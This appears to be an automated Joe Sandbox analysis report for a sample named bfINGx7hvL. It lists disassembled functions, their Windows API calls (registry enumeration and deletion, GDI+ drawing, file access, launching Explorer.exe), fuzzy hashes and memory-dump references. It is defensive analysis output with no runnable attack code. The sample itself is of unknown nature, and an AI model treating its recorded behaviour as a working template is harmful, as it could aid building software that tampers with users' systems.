Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$CreateDeleteFormat$FromGraphicsMeasureRelease
String ID:
API String ID: 2860005999-0
Opcode ID: b8e99930b762ee35ec31d3eda8c2006f2a8ddef138ba6d27961e2d28fa441354
Instruction ID: a1a35c500f5c863af352f852cd16a8bfb1f9d2364145a45e03f7e97dd071d77a
Opcode Fuzzy Hash: b8e99930b762ee35ec31d3eda8c2006f2a8ddef138ba6d27961e2d28fa441354
Instruction Fuzzy Hash: 57515671A00308EFDB15CFA9DC54BEEBBB4FB19315F10821AE915A7290E7756948CF60

Function 004C44F0 Relevance: 10.6, APIs: 7, Instructions: 118registrystringCOMMON

Download Yara Rule

APIs

RegDeleteKeyW.ADVAPI32(80000000,?), ref: 004C450C
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 004C4526
lstrlenW.KERNEL32(?), ref: 004C455F
RegEnumKeyExW.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,?), ref: 004C45AD
RegEnumKeyExW.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,?,?,?), ref: 004C4601
RegCloseKey.ADVAPI32(?), ref: 004C4617
RegDeleteKeyW.ADVAPI32(80000000,?), ref: 004C461F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: DeleteEnum$CloseOpenlstrlen
String ID:
API String ID: 242527159-0
Opcode ID: 7417a38eecbe98fe67114ba03710a45c9d9d61469adfb44cd8c06802587ace82
Instruction ID: 5ba99d398154806853dd991caee1d39484c6cc6b7a438dd55f6cbec05c54d8f4
Opcode Fuzzy Hash: 7417a38eecbe98fe67114ba03710a45c9d9d61469adfb44cd8c06802587ace82
Instruction Fuzzy Hash: 3631A33174021CABDB209B65DC99FEBB3BCEF94711F0000AEFA09D2190DA749D44DBA4

Function 004CB2C0 Relevance: 10.6, APIs: 7, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010,B681F143,?,?,00000001,?,?,?,?,?,004CC627,00000001,?,?,0049FC60,B681F143), ref: 004CB309

Part of subcall function 00420760: GdipCreateBitmapFromScan0.GDIPLUS(?,?,00000000,0026200A,00000000,B681F143), ref: 004207B8

GdipSetTextRenderingHint.GDIPLUS(00000000,00000005,?,?,?,004CC627,00000001,?,?,0049FC60,B681F143), ref: 004CB358
GdipGraphicsClear.GDIPLUS(00000000,00000000,?,?,?,004CC627,00000001,?,?,0049FC60,B681F143), ref: 004CB36B
GdipGetDpiX.GDIPLUS(00000000,?,?,?,?,004CC627,00000001,?,?,0049FC60,B681F143), ref: 004CB380
GdipGetDpiY.GDIPLUS(?,?,?,?,?,004CC627,00000001,?,?,0049FC60,B681F143), ref: 004CB395
CreateCompatibleDC.GDI32(00000000), ref: 004CB3CB
SelectObject.GDI32(00000000,?), ref: 004CB3DC

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Create$AllocBitmapClearCompatibleFromGraphicsHintObjectRenderingScan0SelectText
String ID:
API String ID: 2362702511-0
Opcode ID: feb46c05903e1c5d074e86a44ef3e7b11108a4ee4eb49ed9725f92b6ec00a1d2
Instruction ID: cfc07241ca65fda0a3d5711262874b255f10238e8603e7bf986d32a52348c60a
Opcode Fuzzy Hash: feb46c05903e1c5d074e86a44ef3e7b11108a4ee4eb49ed9725f92b6ec00a1d2
Instruction Fuzzy Hash: F0417975A00746EFDB609F25DC05B6ABBE8FF45310F10852EE855D72A0EB35E810DB94

Function 004CB6C0 Relevance: 10.6, APIs: 7, Instructions: 98COMMON

Download Yara Rule

APIs

GdipCreateImageAttributes.GDIPLUS(?,B681F143), ref: 004CB6F6

Part of subcall function 004CB610: GdipSetImageAttributesColorMatrix.GDIPLUS(?,00000001,00000001,?,00000000,00000000), ref: 004CB697

GdipGetImageHeight.GDIPLUS(?,00000000,00000000,00000000), ref: 004CB729
GdipGetImageWidth.GDIPLUS(?,?), ref: 004CB74C
GdipGetImageHeight.GDIPLUS(?,00000000), ref: 004CB769
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 004CB783
GdipDrawImageRectRectI.GDIPLUS(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000000,00000000), ref: 004CB7B4
GdipDisposeImageAttributes.GDIPLUS(00000000), ref: 004CB7CB

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipImage$Attributes$HeightRectWidth$ColorCreateDisposeDrawMatrix
String ID:
API String ID: 4130812555-0
Opcode ID: d09d500d7309e5c5d1e87975e270e9c4c281bc36e7f22bf7e5008d54abdea5aa
Instruction ID: c0d227519754e4b39b19ccc4e1cce4b975024998ed42df57f921cb8346773cb4
Opcode Fuzzy Hash: d09d500d7309e5c5d1e87975e270e9c4c281bc36e7f22bf7e5008d54abdea5aa
Instruction Fuzzy Hash: D44105B690020AEFDF11CF94CD41B9EBBB8FB08710F10852AE915A6690E735A914DFA4

Function 0041C730 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SHGetFileInfoW.SHELL32(00000000,00000000,?,000002B4,00000000), ref: 0041C7BF
ShellExecuteW.SHELL32(00000000,OPEN,Explorer.exe ,00000000,0056C344,00000005), ref: 0041C7E4

Strings

!@, xrefs: 0041C780, 0041C7F1
%c:\, xrefs: 0041C795
Explorer.exe , xrefs: 0041C7D8
OPEN, xrefs: 0041C7DD

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ExecuteFileInfoShell
String ID: !@$%c:\$Explorer.exe $OPEN
API String ID: 1133623499-2802593334
Opcode ID: 015de67119340627b675fe1f80bda14d1ac628fb28006b9ab4842001112d76a2
Instruction ID: ff612def2dd17d2acbf77aef04f1b3c5f8c4cc232cdfc81b404466fdaa2c8c8f
Opcode Fuzzy Hash: 015de67119340627b675fe1f80bda14d1ac628fb28006b9ab4842001112d76a2
Instruction Fuzzy Hash: 7A3128B1E40249EFDB00DF94C849BEEBBB4FB08718F104629E515B72C0D7B46648CBA5

Function 004196B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GdipResetPath.GDIPLUS(?,?,?,734FBEC0,?,0041743C), ref: 004196C3
GdipAddPathArcI.GDIPLUS(?,?,?,<tA,<tA), ref: 004196FC
GdipAddPathArcI.GDIPLUS(?,?,?,?,?), ref: 00419726
GdipAddPathLineI.GDIPLUS(?,?,00000044,00000000,00000044,?,?,?,?), ref: 0041973F
GdipClosePathFigure.GDIPLUS(?,?,00000044,00000000,00000044,?,?,?,?), ref: 0041974E

Strings

<tA, xrefs: 004196D0, 004196ED, 004196EE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipPath$CloseFigureLineReset
String ID: <tA
API String ID: 2147720564-2562197522
Opcode ID: bff98cd3ea13e52b3520d185215e46741d522d5054ca37735d535be176ef0666
Instruction ID: 7d0619f2148fba08b5a944834efcd86dca7f7e835bd715ea69931eb96bbb399b
Opcode Fuzzy Hash: bff98cd3ea13e52b3520d185215e46741d522d5054ca37735d535be176ef0666
Instruction Fuzzy Hash: 3E211AB1210209EFEB209F64DD54A6B7BE9EF44741F14882EF898CB610E731EC54DB60

Function 004CB190 Relevance: 10.6, APIs: 7, Instructions: 55COMMON

Download Yara Rule

APIs

GdipDeleteGraphics.GDIPLUS(?,?,?,?,?,004CB3FB,?,00000001,?,B681F143,?,?,00000001,?,?), ref: 004CB1A9
GdipFree.GDIPLUS(?,?,?,004CB3FB,?,00000001,?,B681F143,?,?,00000001,?,?), ref: 004CB1B0
GdipDeleteGraphics.GDIPLUS(?,?,?,?,?,004CB3FB,?,00000001,?,B681F143,?,?,00000001,?,?), ref: 004CB1D0
GdipFree.GDIPLUS(?,?,?,004CB3FB,?,00000001,?,B681F143,?,?,00000001,?,?), ref: 004CB1D7
SelectObject.GDI32(?,00000000), ref: 004CB1ED
DeleteDC.GDI32(?), ref: 004CB1F6
DeleteObject.GDI32(?), ref: 004CB204

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: DeleteGdip$FreeGraphicsObject$Select
String ID:
API String ID: 2113326488-0
Opcode ID: 01c80191abf64cda26f1c7843de9fb114df4b4a9167708fcd9010ce02e6e66c1
Instruction ID: 21ee3c5524e4653023971180eeb74aebda1d4dd7ddaf7a08cdd644d00ba92d11
Opcode Fuzzy Hash: 01c80191abf64cda26f1c7843de9fb114df4b4a9167708fcd9010ce02e6e66c1
Instruction Fuzzy Hash: 9E119E396013009FDB208F65E869F2BBB68FF5A752F18401EF8459B220DB34E881DB94

Function 0052D0A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 0052D0B2
__wfopen_s.LIBCMT ref: 0052D0CC

Part of subcall function 00534AFE: __fsopen.LIBCMT ref: 00534B27

_setvbuf.LIBCMT ref: 0052D0E1
__fread_nolock.LIBCMT ref: 0052D10A

Strings

/dev/urandom, xrefs: 0052D0AC
/dev/random, xrefs: 0052D0C6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: __wfopen_s$__fread_nolock__fsopen_setvbuf
String ID: /dev/random$/dev/urandom
API String ID: 2173266585-2325634460
Opcode ID: 06f05d56831de38bb0ddf0936c802be27e4765ba28d04b8b6716e5daf9a6aee4
Instruction ID: c37cec1942471a622defb6984fa6e8fc9630bf4513f28c59c907f06db8800d56
Opcode Fuzzy Hash: 06f05d56831de38bb0ddf0936c802be27e4765ba28d04b8b6716e5daf9a6aee4
Instruction Fuzzy Hash: B101D071E4010977EF1066A09D0BF997F69FF50751F1000A1FE04A1191FBB29F1457A5

Function 00442770 Relevance: 9.3, APIs: 6, Instructions: 254fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF), ref: 004428A4

Part of subcall function 00441E60: PathFileExistsW.SHLWAPI(?), ref: 00441F50

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00442842
GetLastError.KERNEL32 ref: 00442854

Part of subcall function 004A4000: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,00402DC2,00000000,00000000,?,00000000), ref: 004A4020
Part of subcall function 004A4000: LocalFree.KERNEL32(00000000), ref: 004A404A

GetFileSizeEx.KERNEL32(00000000,?), ref: 004428EC
SetWindowPos.USER32(00000000), ref: 00442A67
SetWindowPos.USER32(00000000), ref: 00442AC3

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: File$Window$CloseCreateErrorExistsFormatFreeHandleLastLocalMessagePathSize
String ID:
API String ID: 2653568980-0
Opcode ID: cac22ca033d805942b6f281306a9e5d6a5eff9c87083a835d65461da258e1b67
Instruction ID: 6834c9339f2e4e944b2da7b2f29193971ddf44d81f186bdebd80bacb9191c911
Opcode Fuzzy Hash: cac22ca033d805942b6f281306a9e5d6a5eff9c87083a835d65461da258e1b67
Instruction Fuzzy Hash: 2FA18D707007018BEB24EF35C999BAAB7E5BF84314F400A1EF9569B3D1DBB8A845CB45

Function 0042C670 Relevance: 9.2, APIs: 6, Instructions: 188windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00421170: EnterCriticalSection.KERNEL32(005AE1C8,?,?,B681F143,?,?,?,?,?,?,?,?,?,00000000,0053DC33,000000FF), ref: 00421183
Part of subcall function 00421170: LeaveCriticalSection.KERNEL32(?,B681F143,?,?,B681F143,?,?,?,?,?,?,?,?,?,00000000,0053DC33), ref: 0042120D

GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 0042C703
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 0042C72C
EnterCriticalSection.KERNEL32(005AE1C8), ref: 0042C7AF
LeaveCriticalSection.KERNEL32(005AE1C8,?,?,?,?,?,?,?), ref: 0042C852
PostMessageW.USER32(00000111,000004DD,00000000), ref: 0042C86A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0042C88A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLongMessageNamePath$PeekPost
String ID:
API String ID: 1745811624-0
Opcode ID: 97459b1f7e085338524cef78e925561ecef61515c29b5a4903e1eeb3ee741132
Instruction ID: 48213701d6ec8cc1f77b1a19ad10901f9acc0aea5090f1232270d96df87fc996
Opcode Fuzzy Hash: 97459b1f7e085338524cef78e925561ecef61515c29b5a4903e1eeb3ee741132
Instruction Fuzzy Hash: DF61D1316083519BD710AF64DC95B6FB7E4FFC5744F80092EFA4687290E7B9A808CB96

Function 004A1430 Relevance: 9.1, APIs: 6, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GdipCreatePath.GDIPLUS(00000000,?,B681F143), ref: 004A146B

Part of subcall function 004195B0: GdipResetPath.GDIPLUS(00000000,?,?,734FBEC0,00000000,?,004172AC,00000003,?,?,00000001), ref: 004195C5
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 004195F1
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 00419628
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,42B3FFFF,?,?,?), ref: 0041965E
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 00419683
Part of subcall function 004195B0: GdipClosePathFigure.GDIPLUS(00000000), ref: 0041968E

GdipCreatePathGradientFromPath.GDIPLUS(00000000,?), ref: 004A14F2

Part of subcall function 004193F0: GdipSetPathGradientPresetBlend.GDIPLUS(?,00000000,?,00000004), ref: 00419443

GdipSetPathGradientFocusScales.GDIPLUS(?), ref: 004A155C
GdipFillPath.GDIPLUS(00000002,?,00000000), ref: 004A1576
GdipDeleteBrush.GDIPLUS(?), ref: 004A158F
GdipDeletePath.GDIPLUS(00000000), ref: 004A159F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipPath$Gradient$CreateDelete$BlendBrushCloseFigureFillFocusFromPresetResetScales
String ID:
API String ID: 1027064271-0
Opcode ID: 46a74715f39e323d377d7a5d684705038fd23d2524ebcf6ac418d0938d3a12ba
Instruction ID: 0f23a0c0f4f8379d9378d5caa7573e4fe7b431adac56c90f6d65c828a72fdaaf
Opcode Fuzzy Hash: 46a74715f39e323d377d7a5d684705038fd23d2524ebcf6ac418d0938d3a12ba
Instruction Fuzzy Hash: C5417771D0124CEFDB01DFA5D845BDEBBB8FF59314F10421AE811A7290EB316A85DB90

Function 004334D0 Relevance: 9.1, APIs: 6, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GdipCreatePath.GDIPLUS(00000000,?,B681F143,00000000,?,?), ref: 0043350B

Part of subcall function 004195B0: GdipResetPath.GDIPLUS(00000000,?,?,734FBEC0,00000000,?,004172AC,00000003,?,?,00000001), ref: 004195C5
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 004195F1
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 00419628
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,42B3FFFF,?,?,?), ref: 0041965E
Part of subcall function 004195B0: GdipAddPathArcI.GDIPLUS(00000000,?,?,?,?), ref: 00419683
Part of subcall function 004195B0: GdipClosePathFigure.GDIPLUS(00000000), ref: 0041968E

GdipCreatePathGradientFromPath.GDIPLUS(00000000,?), ref: 00433592

Part of subcall function 004193F0: GdipSetPathGradientPresetBlend.GDIPLUS(?,00000000,?,00000004), ref: 00419443

GdipSetPathGradientFocusScales.GDIPLUS(?), ref: 004335FC
GdipFillPath.GDIPLUS(?,?,00000000), ref: 00433616
GdipDeleteBrush.GDIPLUS(?), ref: 0043362F
GdipDeletePath.GDIPLUS(00000000), ref: 0043363F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: GdipPath$Gradient$CreateDelete$BlendBrushCloseFigureFillFocusFromPresetResetScales
String ID:
API String ID: 1027064271-0
Opcode ID: 96a32a6726cf0e7462fda4e4e2d1581cbc6da21a1256417115460b718b87573e
Instruction ID: 3193731d80dc03a79ec8f495aeb0e55a02c248bd65a2315c1844a197df9a6016
Opcode Fuzzy Hash: 96a32a6726cf0e7462fda4e4e2d1581cbc6da21a1256417115460b718b87573e
Instruction Fuzzy Hash: 13417771D0124CEFDB01DFA5D945BDEBBB8FF59314F10421AE811A7290EB306A89CB90

Function 004195B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

GdipResetPath.GDIPLUS(00000000,?,?,734FBEC0,00000000,?,004172AC,00000003,?,?,00000001), ref: 004195C5
